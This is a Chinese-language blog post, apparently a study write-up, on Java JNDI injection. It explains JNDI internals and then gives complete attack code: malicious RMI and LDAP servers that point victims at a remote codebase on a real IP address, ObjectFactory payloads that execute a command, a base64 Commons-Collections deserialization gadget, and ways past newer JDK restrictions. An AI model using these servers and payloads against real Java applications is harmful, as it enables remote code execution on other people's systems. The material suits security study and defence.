java JNDI 注入学习
Java Naming Directory Interface,Java命名和目录接口,是SUN公司提供的一种标准的Java命名系统接口。通过调用JNDI的API应用程序可以定位资源和其他程序对象。JNDI可访问的现有目录及服务包括:JDBC(Java 数据库连接)、LDAP(轻型目录访问协议)、RMI(远程方法调用)、DNS(域名服务)、NIS(网络信息服务)、CORBA(公共对象请求代理系统结构)
命名服务(Naming Server)
命名服务,简单来说,就是一种通过名称来查找实际对象的服务。比如 RMI
协议,可以通过名称来查找并调用具体的远程对象。又或者 DNS
协议,通过域名来查找具体的IP地址。这些都可以叫做命名服务。
在命名服务中,有几个重要的概念。
- Bindings:表示一个名称和对应对象的绑定关系,比如在在 DNS 中域名绑定到对应的 IP,在RMI中远程对象绑定到对应的name,文件系统中文件名绑定到对应的文件。
- Context:上下文,一个上下文中对应着一组名称到对象的绑定关系,我们可以在指定上下文中查找名称对应的对象。比如在文件系统中,一个目录就是一个上下文,可以在该目录中查找文件,其中子目录也可以称为子上下文 (SubContext)。
- References:在一个实际的名称服务中,有些对象可能无法直接存储在系统内,这时它们便以引用的形式进行存储,可以理解为 C/C++ 中的指针。引用中包含了获取实际对象所需的信息,甚至对象的实际状态。比如文件系统中实际根据名称打开的文件是一个整数 fd (file descriptor),这就是一个引用,内核根据这个引用值去找到磁盘中的对应位置和读写偏移。
JNDI 代码示例
JNDI 接口主要分为下述 5 个包:
javax.naming
:主要用于命名操作,它包含了命名服务的类和接口,该包定义了Context接口和InitialContext类,(包括了javax.naming.Context
,javax.naming.InitialContext
,分别是用于设置 jndi 环境变量和初始化上下文。)javax.naming.directory
:主要用于目录操作,它定义了DirContext接口和InitialDir-Context类javax.naming.event
:在命名目录服务器中请求事件通知javax.naming.ldap
:提供LDAP服务支持javax.naming.spi
:允许动态插入不同实现,为不同命名目录服务供应商的开发人员提供开发和实现的途径,以便应用程序通过JNDI可以访问相关服务
下面我们通过具体代码来看看JNDI是如何实现与各服务进行交互的。
JNDI_RMI
首先在本地起一个RMI服务
定义一个 hello.java
接口
package org.example;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface hello extends Remote {
public Object nihao() throws RemoteException,Exception;
}
然后创建 RMIobj.java,(这里直接把注册中心和服务端写在一起了)
package org.example;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
public class RMIobj extends UnicastRemoteObject implements hello {
protected RMIobj() throws RemoteException {
super();
}
public void nihao() throws RemoteException, Exception {
System.out.println("hello word");
}
private void registry() throws Exception{
hello rmiobj=new RMIobj();
LocateRegistry.createRegistry(1099);
System.out.println("Server Start");
Naming.bind("Hello", rmiobj);
}
public static void main(String[] args) throws Exception {
new RMIobj().registry();
}
}
然后通过 JNDI
接口调用远程类,JNDI_RMI
package org.example;
import javax.naming.Context;
import javax.naming.InitialContext;
import java.util.Hashtable;
public class JNDI_RMI {
public static void main(String[] args) throws Exception {
//设置JNDI环境变量
Hashtable<String, String> env = new Hashtable<>();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://localhost:1099");
//初始化上下文
Context initialContext = new InitialContext(env);
//调用远程类
hello ihello = (hello) initialContext.lookup("Hello");
System.out.println(ihello.nihao());
}
}
成功调用,
JNDI_DNS
以JDK内置的 DNS 目录服务为例 (说实话不知道)
JNDI_DNS.java
import javax.naming.Context;
import javax.naming.NamingException;
import javax.naming.directory.Attributes;
import javax.naming.directory.DirContext;
import javax.naming.directory.InitialDirContext;
import java.util.Hashtable;
public class JNDI_DNS {
public static void main(String[] args) {
Hashtable<String,String> env = new Hashtable<>();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.dns.DnsContextFactory");
env.put(Context.PROVIDER_URL, "dns://192.168.43.1");
try {
DirContext ctx = new InitialDirContext(env);
Attributes res = ctx.getAttributes("goodapple.top", new String[] {"A"});
System.out.println(res);
} catch (NamingException e) {
e.printStackTrace();
}
}
}
JNDI的工作流程
通过JNDI成功地调用了RMI和DNS服务。那么对于JNDI来讲,它是如何识别我们调用的是何种服务呢?这就依赖于我们上面提到的Context(上下文)了。
初始化Context
//设置JNDI环境变量
Hashtable<String, String> env = new Hashtable<>();
env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://localhost:1099");
//初始化上下文
Context initialContext = new InitialContext(env);
使用 hashtable 来设置属性 INITIAL_CONTEXT_FACTORY
和 PROVIDER_URL
,其中 JNDI 正式通过 INITIAL_CONTEXT_FACTORY
属性来识别调用的是何种服务,像这里就是 com.sun.jndi.rmi.registry.RegistryContextFactory
。
接着属性PROVIDER_URL
设置为了"rmi://localhost:1099"
,这正是我们RMI服务的地址。JNDI通过该属性来获取服务的路径,进而调用该服务。
最后向InitialContext
类传入我们设置的属性值来初始化一个Context
,于是我们就获得了一个与RMI服务相关联的上下文Context
。
当然,初始化Context的方法多种多样,我们来看一下InitialContext
类的构造函数
//构建一个默认的初始上下文
public InitialContext();
//构造一个初始上下文,并选择不初始化它。
protected InitialContext(boolean lazy);
//使用提供的环境变量初始化上下文。
public InitialContext(Hashtable<?,?> environment);
所以我们还可以用如下方式来初始化一个Context
//设置JNDI环境变量
System.setProperty(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
System.setProperty(Context.PROVIDER_URL,"rmi://localhost:1099");
//初始化上下文
InitialContext initialContext = new InitialContext();
通过Context与服务交互
和RMI类似,Context
同样通过以下五种方法来与被调用的服务进行交互
//将名称绑定到对象
bind(Name name, Object obj)
//枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名
list(String name)
//检索命名对象
lookup(String name)
//将名称重绑定到对象
rebind(String name, Object obj)
//取消绑定命名对象
unbind(String name)
JNDI底层实现
上下文的初始化
获取工厂类
我们通过JNDI来设置不同的上下文,就可以调用不同的服务。那么JNDI接口是如何实现这一功能的呢?
在InitalContext#InitalContext()
中,通过我们传入的HashTable
进行init
。
继续跟进
跟到了 getInitialEnvironment
方法,继续跟进,
一路跟进到达 getInitialContext
方法。
这里首先通过 getInitialContextFactoryBuilder()
初始化了一个 InitialContextFactoryBuilder
类。
如果该类为空,则将 className
设置为 _INITIAL_CONTEXT_FACTORY_
属性。这个属性就是我们手动设置的RMI上下文工厂类 com.sun.jndi.rmi.registry.RegistryContextFactory
。
继续向下
这里通过loadClass()
来动态加载我们设置的工厂类。最终调用的其实是RegistryContextFactory#getInitialContext()
方法,通过我们的设置工厂类来初始化上下文Context。
现在我们知道了,JNDI是通过我们设置的_INITIAL_CONTEXT_FACTORY_
工厂类来判断将上下文初始化为何种类型,进而调用该类型上下文所对应的服务。调用链如下
获取服务交互所需资源
现在JNDI知道了我们想要调用何种服务,那么它又是如何知道服务地址以及获取服务的各种资源的呢?我们接着上文,跟到RegistryContextFactory#getInitialContext()
中
这里的var1
就是我们设置的两个环境变量,跟进getInitCtxURL()
JNDI通过我们设置的_PROVIDER_URL_
环境变量来获取服务的路径,接着在URLToContext()
方法中初始化了一个rmiURLContextFactory
类,并根据服务路径来获取实例。
跟到rmiURLContextFactory#getUsingURL()
中
看到调用了 lookup()
方法。其实一直跟踪就知道调用的是 RegistryContext#lookup()
,根据上述过程中获取的信息初始化了一个新的 RegistryContext
。
可见,在最终初始化的时候获取了一系列RMI通信过程中所需的资源,包括 RegistryImpl_Stub
类、path
、port
等信息。如下图
JNDI在初始化上下文的时候获取了与服务交互所需的各种资源,所以下一步就是通过获取的资源和服务愉快地进行交互了。
各种调用链如下
JNDI动态协议转换
上面两个例子中,我们手动设置了属性_INITIAL_CONTEXT_FACTORY_
和_PROVIDER_URL_
的值来对Context进行初始化。通过对Context的初始化,JNDI能够识别我们想调用何种服务,以及服务的路径。
但实际上,在 Context#lookup()
方法的参数中,用户可以指定自己的查找协议。JNDI会通过用户的输入来动态的识别用户要调用的服务以及路径。来看下面的例子
import javax.naming.InitialContext;
public class JNDI_Dynamic {
public static void main(String[]args) throws Exception{
String string = "rmi://localhost:1099/hello";
InitialContext initialContext = new InitialContext();
IHello ihello = (IHello) initialContext.lookup(string);
System.out.println(ihello.sayHello("Feng"));
}
}
运行结果:
可以看到,我们并没有设置相应的环境变量来初始化Context,但是JNDI仍旧通过lookup()的参数识别出了我们要调用的服务以及路径,这就是JNDI的动态协议转换。
动态协议转换的底层实现
首先从lookup()
开始跟进
注意到其实我们不管调用的是lookup、bind或者是其他initalContext
中的方法,都会调用getURLOrDefaultInitCtx()
方法进行检查。
跟进 getURLOrDefaultInitCtx()
方法,会通过 getURLScheme()
方法来获取通信协议,比如这里获取到的是 rmi
协议,然后跟据获取到的协议,通过 NamingManager#getURLContext()
来调用 getURLObject()
方法
在 getURLObject
的时候会根据传入进来的url去寻找对应的工厂,比如这里的rmi,
ObjectFactory factory = (ObjectFactory)ResourceManager.getFactory(
Context.URL_PKG_PREFIXES, environment, nameCtx,
"." + scheme + "." + scheme + "URLContextFactory", defaultPkgPrefix);
就是把schema和我们的URLContextFactory去拼接得到它的工厂,然后根据不同的工厂类对应着不同的getObjectInstance方法
public Object getObjectInstance(Object var1, Name var2, Context var3, Hashtable<?, ?> var4) throws NamingException {
if (var1 == null) {
return new rmiURLContext(var4);
} else if (var1 instanceof String) {
return getUsingURL((String)var1, var4);
} else if (var1 instanceof String[]) {
return getUsingURLs((String[])((String[])var1), var4);
} else {
throw new ConfigurationException("rmiURLContextFactory.getObjectInstance: argument must be an RMI URL String or an array of them");
}
}
然后又会进入getUsingURL方法,在 getUsingURL 方法中会调用 lookup 方法,不过来到的是来到GenericURLContext (com.sun.jndi.toolkit.url)的lookup方法,
public Object lookup(String var1) throws NamingException {
ResolveResult var2 = this.getRootURLContext(var1, this.myEnv);
Context var3 = (Context)var2.getResolvedObj();
Object var4;
try {
var4 = var3.lookup(var2.getRemainingName());
} finally {
var3.close();
}
return var4;
}
然后再这个 lookup 方法中看到 var4 = var3.lookup(var2.getRemainingName());
其实调用的就是RegistryContext的lookup,
public Object lookup(Name var1) throws NamingException {
if (var1.isEmpty()) {
return new RegistryContext(this);
} else {
Remote var2;
try {
var2 = this.registry.lookup(var1.get(0));
} catch (NotBoundException var4) {
throw new NameNotFoundException(var1.get(0));
} catch (RemoteException var5) {
throw (NamingException)wrapRemoteException(var5).fillInStackTrace();
}
return this.decodeObject(var2, var1.getPrefix(1));
}
}
看到 return new RegistryContext(this);
不就是上面自己设置属性进行上下文初始化最后的部分吗,这里继续向下说,根跟进到 decodeObject
方法
private Object decodeObject(Remote var1, Name var2) throws NamingException {
try {
Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;
return NamingManager.getObjectInstance(var3, var2, this, this.environment);
} catch (NamingException var5) {
throw var5;
} catch (RemoteException var6) {
throw (NamingException)wrapRemoteException(var6).fillInStackTrace();
} catch (Exception var7) {
NamingException var4 = new NamingException();
var4.setRootCause(var7);
throw var4;
}
}
看到会判断 var1 (也就是 bind 绑定的对象)是不是 RemoteReference
的子类,是就执行 ((RemoteReference)var1).getReference()
来加载远程远程对象,不是就还是原来的类,然后执行
NamingManager.getObjectInstance(var3, var2, this, this.environment);
进行实例化。
继续跟进 getObjectInstance
方法就知道会进行一个判断,如果是远程的就直接实列化,如果是本地的,会继续调用本地工厂的getObjectInstance方法,后面可以形成绕过。
LDAP 的其实也差不多,只是中间过程肯定不是去调用 RegistryContext
的 lookup
方法,它从 lookup 会调用其他的 lookup 方法,但是最后一直跟进也会到达 DirectoryManager#getObjectInstance
方法,最后进行实列化。
JNDI Reference类
Reference类表示对存在于命名/目录系统以外的对象的引用。比如远程获取 RMI 服务上的对象是 Reference 类或者其子类,则在客户端获取到远程对象存根实例时,可以从其他服务器上加载class文件来进行实例化。
当在本地找不到所调用的类时,我们可以通过Reference类来调用位于远程服务器的类。
Reference类常用构造函数如下:
//className为远程加载时所使用的类名,如果本地找不到这个类名,就去远程加载
//factory为工厂类名
//factoryLocation为工厂类加载的地址,可以是file://、ftp://、http:// 等协议
Reference(String className, String factory, String factoryLocation)
在RMI中,由于我们远程加载的对象需要继承UnicastRemoteObject
类,所以这里我们需要使用ReferenceWrapper
类对Reference
类或其子类对象进行远程包装成Remote
类使其能够被远程访问。
JNDI注入
通过以上实例可以清晰的看到看到,如果lookup()函数的访问地址参数控制不当,则有可能导致加载远程恶意类
JNDI接口可以调用多个含有远程功能的服务,所以我们的攻击方式也多种多样。但流程大同小异,如下图所示
JNDI 注入对 JAVA 版本有相应的限制,具体可利用版本如下:
协议 | JDK6 | JDK7 | JDK8 | JDK11 |
---|---|---|---|---|
LADP | 6u211以下 | 7u201以下 | 8u191以下 | 11.0.1以下 |
RMI | 6u132以下 | 7u122以下 | 8u113以下 | 无 |
JNDI+RMI
在攻击RMI服务的时候我们提到过通过远程加载Codebase的方式来加载恶意的远程类到服务器上。和Codebase类似,我们也可以使用Reference类来从远程加载恶意类。JDK版本为JDK8u_65
,攻击代码如下
RMI_Server.java
package org.example;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
public class RMI_Server {
void register() throws Exception{
LocateRegistry.createRegistry(1099);
Reference reference = new Reference("RMI_POC","RMI_POC","http://106.53.212.184:6666/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(reference);
Naming.bind("hello",refObjWrapper);
System.out.println("START RUN");
}
public static void main(String[] args) throws Exception {
new RMI_Server().register();
}
}
其中RMIHello为我们要远程访问的类,如下
RMI_POC
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import java.util.Hashtable;
public class RMIHello extends UnicastRemoteObject implements ObjectFactory {
public RMIHello() throws RemoteException {
super();
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}
注意,RMIHello
类需要继承ObjectFactory
类,并且构造函数需要为public
。
受害客户端如下,我们将lookup()
参数控制位我们恶意RMI服务的地址
RMI_CN.java
package org.example;
import javax.naming.InitialContext;
public class RMI_CN {
public static void main(String[]args) throws Exception{
String string = "rmi://localhost:1099/hello";
InitialContext initialContext = new InitialContext();
initialContext.lookup(string);
}
}
我们搭建好恶意的RMI服务器,并且在远端服务器上放置恶意类。客户端成功调用并初始化我们远端的恶意
启动服务
1、将 HTTP 端恶意载荷 RMI_POC.java
,编译成 RMI_POC.class
文件
javac RMI_POC.java
或者直接使用 idea 编译也可以,感觉应该也不用移除。
2、在 RMI_POC.class
目录下利用 Python 起一个临时的 WEB 服务放置恶意载荷,这里的端口必须要与 RMI_Server.java 的 Reference 里面的链接端口一致
启动服务端
启动客户端加载恶意类
看到成功弹出计算机。
JNDI+LDAP
LDAP(Lightweight Directory Access Protocol ,轻型目录访问协议)是一种目录服务协议,LDAP目录和RMI注册表的区别在于是前者是目录服务,并允许分配存储对象的属性。
也就是说,LDAP 「是一个协议」,约定了 Client 与 Server 之间的信息交互格式、使用的端口号、认证方式等内容。而 「LDAP 协议的实现」,有着众多版本,例如微软的 Active Directory 是 LDAP 在 Windows 上的实现。AD 实现了 LDAP 所需的树形数据库、具体如何解析请求数据并到数据库查询然后返回结果等功能。再例如 OpenLDAP 是可以运行在 Linux 上的 LDAP 协议的开源实现。而我们平常说的 LDAP Server,一般指的是安装并配置了 Active Directory、OpenLDAP 这些程序的服务器。
更加具体参考:java LDAP
我们可以使用LDAP服务来存储Java对象,如果我们此时能够控制JNDI去访问存储在LDAP中的Java恶意对象,那么就有可能达到攻击的目的。LDAP能够存储的Java对象如下
- Java 序列化
- JNDI的References
- Marshalled对象
- Remote Location
首先下载LDAP依赖。
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>3.1.1</version>
<scope>test</scope>
</dependency>
LDAP_Server.java
package org.example;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
public class LDAP_Server {
private static final String LDAP_BASE = "dc=gaoren,dc=com";
public static void main ( String[] tmp_args ) {
String[] args=new String[]{"http://106.53.212.184:6666/#LDAP_POC"};
int port = 9999;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
LDAP_POC.java
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;
public class LDAP_POC implements ObjectFactory {
public LDAP_POC() throws Exception{
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}
LDAP_CN.java
package org.example;
import javax.naming.InitialContext;
public class LDAP_CN {
public static void main(String[]args) throws Exception{
String string = "ldap://localhost:9999/LDAP_POC";
InitialContext initialContext = new InitialContext();
initialContext.lookup(string);
}
}
步骤和上面是一样的,最后运行也是成功弹出计算机
JDK高版本限制
在我们利用Codebase攻击RMI服务的时候,如果想要根据Codebase加载位于远端服务器的类时,java.rmi.server.useCodebaseOnly
的值必须为false
。但是从JDK 6u45
、7u21
开始,java.rmi.server.useCodebaseOnly
的默认值就是true
。
JNDI_RMI_Reference限制
JNDI同样有类似的限制,在JDK 6u132
, JDK 7u122
, JDK 8u113
之后Java限制了通过RMI
远程加载Reference
工厂类。com.sun.jndi.rmi.object.trustURLCodebase
、com.sun.jndi.cosnaming.object.trustURLCodebase
的默认值变为了false
,即默认不允许通过RMI从远程的Codebase
加载Reference
工厂类。
JNDI_LDAP_Reference限制
JNDI不仅可以从通过RMI加载远程的Reference
工厂类,也可以通过LDAP协议加载远程的Reference工厂类,但是在之后的版本Java也对LDAP Reference远程加载Factory
类进行了限制,在JDK 11.0.1
、8u191
、7u201
、6u211
之后 com.sun.jndi.ldap.object.trustURLCodebase
属性的默认值同样被修改为了false
,对应的CVE编号为:CVE-2018-3149
。
限制源码分析
JDK_8u65
在低版本JDK_8u65下,在RegistryContext#decodeObject()
方法会直接调用到NamingManager#getObjectInstance()
,进而调用getObjectFactoryFromReference()
方法来获取远程工厂类。
JDK_8u241
同样是在 RegistryContext#decodeObject()
方法,这里增加了对类型以及 trustURLCodebase
的检查,所以也就没法加载远程的 refrence 工厂类了。
绕过高版本限制
使用本地的Reference Factory类
8u191后已经默认不允许加载codebase
中的远程类,但我们可以从本地加载合适Reference Factory
。
需要注意是,该本地工厂类必须实现javax.naming.spi.ObjectFactory
接口,因为在javax.naming.spi.NamingManager#getObjectFactoryFromReference
最后的return
语句对Factory
类的实例对象进行了类型转换,并且该工厂类至少存在一个getObjectInstance()
方法。
Tomcat8
org.apache.naming.factory.BeanFactory
就是满足条件之一,并由于该类存在于Tomcat8依赖包中,攻击面和成功率还是比较高的。
org.apache.naming.factory.BeanFactory
在 getObjectInstance()
中会通过反射的方式实例化Reference所指向的任意Bean Class,并且会调用setter方法为所有的属性赋值。而该Bean Class的类名、属性、属性值,全都来自于Reference对象,均是攻击者可控的。
反序列化绕过
因为LDAP 还可以存储序列化的数据,那么如果LDAP存储的某个对象的 javaSerializedData
值不为空,则客户端会通过调用 obj.decodeObject()
对该属性值内容进行反序列化。如果客户端存在反序列化相关组件漏洞,则我们可以通过LDAP来传输恶意序列化对象。
恶意LDAP服务端
LDAP_BS.java
相较于原始的LDAP服务器,我们只需要略微改动即可,将被存储的类的属性值 javaSerializeData
更改为序列化payload即可(之前的 ldap 储存的属性为其他的)
LDAP_BS.java
package org.example;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.URL;
import java.util.Base64;
public class LDAP_BS {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main ( String[] tmp_args ) {
String[] args=new String[]{"http://127.0.0.1/#BS"};
int port = 9999;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws Exception {
e.addAttribute("javaClassName", "foo");
//getObject获取Gadget
e.addAttribute("javaSerializedData", Base64.getDecoder().decode( "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IANG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5rZXl2YWx1ZS5UaWVkTWFwRW50cnmKrdKbOcEf2wIAAkwAA2tleXQAEkxqYXZhL2xhbmcvT2JqZWN0O0wAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwdAADYWJjc3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNoYWluZWRUcmFuc2Zvcm1lcjDHl+woepcEAgABWwANaVRyYW5zZm9ybWVyc3QALVtMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwdXIALVtMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLlRyYW5zZm9ybWVyO71WKvHYNBiZAgAAeHAAAAAEc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5Db25zdGFudFRyYW5zZm9ybWVyWHaQEUECsZQCAAFMAAlpQ29uc3RhbnRxAH4AA3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXB0AAlnZXRNZXRob2R1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+ABxzcQB+ABN1cQB+ABgAAAACcHB0AAZpbnZva2V1cQB+ABwAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAYc3EAfgATdXEAfgAYAAAAAXQABGNhbGN0AARleGVjdXEAfgAcAAAAAXEAfgAfc3EAfgAAP0AAAAAAAAx3CAAAABAAAAAAeHh0AANlZWV4"
));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
然后客户端进行调用
package org.example;
import javax.naming.InitialContext;
public class LDAP_CN {
public static void main(String[]args) throws Exception{
String string = "ldap://localhost:9999/BS";
InitialContext initialContext = new InitialContext();
initialContext.lookup(string);
}
}
其反序列化的调用栈
看到其实就是 c_llokup 后面走得不一样了,最后再 deserializeObject 中进行了反序列化。
参考:https://goodapple.top/archives/696
参考:https://xz.aliyun.com/t/15075
参考:https://xz.aliyun.com/t/12277
标签:java,new,JNDI,LDAP,import,RMI,注入 From: https://www.cnblogs.com/gaorenyusi/p/18452516